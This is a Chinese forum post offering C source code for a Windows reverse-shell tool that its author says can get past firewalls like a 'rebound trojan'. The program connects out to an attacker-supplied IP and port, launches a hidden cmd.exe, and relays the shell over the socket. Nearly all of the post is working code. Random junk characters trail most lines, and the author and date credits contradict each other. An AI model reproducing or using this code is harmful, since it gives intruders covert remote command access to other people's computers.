这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (19<8a9G
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/* ============================== ^PpFI
Rebound port in Windows NT 2 -8:qmP(
By wind,2006/7 'mR+W{r
===============================*/ IV*$U7~
#include )C6 7qY[P
#include ^<+heX
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); f/m6q8!L{
SOCKET sClient; >*CK@"o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,Yz+?SmSZ&
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void main(int argc,char **argv) }Cf[nGh|B
{ essW,2,rjC
WSADATA stWsaData; [GM<Wt0
int nRet; )CQ}LbX Zy
SOCKADDR_IN stSaiClient,stSaiServer; Lcm!e
. %7A7a
if(argc != 3) !~v>&bCG>9
{ n3,wwymQ
printf("Useage:\n\rRebound DestIP DestPort\n"); r U5'hK
return; A>yIH)b
} gvYs<,:
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WSAStartup(MAKEWORD(2,2),&stWsaData); e vuP4-[y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DcHMiiVM
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stSaiClient.sin_family = AF_INET; F{tSfKy2
stSaiClient.sin_port = htons(0); K4~Ox
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pT tX[CE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w.H+$=aK
{ YvX I
printf("Bind Socket Failed!\n"); =ndKG5
return; ;"z>p25=T
} ?f&I"\y
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stSaiServer.sin_family = AF_INET; #J_i 5KmXJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Xg,BK0O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +_Z/VQv
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) RSC-+c6 1
{ oDa{HP\O]W
printf("Connect Error!"); 6Y^o8R
return; Q
# gHD
} C+5nft6:
OutputShell(); D2bUSRrb
} k9n93I|Cm
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void OutputShell() xTT>3Fj
{ hr5)$qZW
char szBuff[1024]; "T|\
SECURITY_ATTRIBUTES stSecurityAttributes; c3##:"wr
OSVERSIONINFO stOsversionInfo; oWmla*nCKL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Sls>
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STARTUPINFO stStartupInfo; }JD(e}8$!
char *szShell; \~PFD%]:3
PROCESS_INFORMATION stProcessInformation; /
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unsigned long lBytesRead; Bh?;\D'YC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }kpkHq"`f
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rAKdf??
stSecurityAttributes.lpSecurityDescriptor = 0; c+JlM1p@
stSecurityAttributes.bInheritHandle = TRUE; -MjRFa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :"4~VDu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m|
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ZAE;$pkP
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @lwqkJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a|.u;
stStartupInfo.wShowWindow = SW_HIDE; |NI0zd
stStartupInfo.hStdInput = hReadPipe; < -Nj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yFSL7`p+
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GetVersionEx(&stOsversionInfo); U:Y?2$#
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switch(stOsversionInfo.dwPlatformId) pfT7
{ ydt1ED0Q-
case 1: _PIk,!<
szShell = "command.com"; v,jU9D\
break; Z]tz<YSkG
default: b|N EU-oy
szShell = "cmd.exe"; ?CIa)dhu
break; <6@Db$-
} 1 !sYd@iD@
du !.j
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f =Nm2(e
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send(sClient,szMsg,77,0); "k.<" pf
while(1) rZLMYM
{ !Ej<J&e
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZM" t.
if(lBytesRead) FEkx&9]
{ -8]$a6`{_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w"~T5%p
send(sClient,szBuff,lBytesRead,0); i[B%:q:&
} ,q4 Y
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else 1peN@Yk2W
{ ||hd(_W8
lBytesRead=recv(sClient,szBuff,1024,0); OA_
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if(lBytesRead<=0) break; !>M: G:K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EB\\
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} -{dwLl_
} n}"MF>zDK
RW'QU`N[Y
return; WaYT\CG7y
}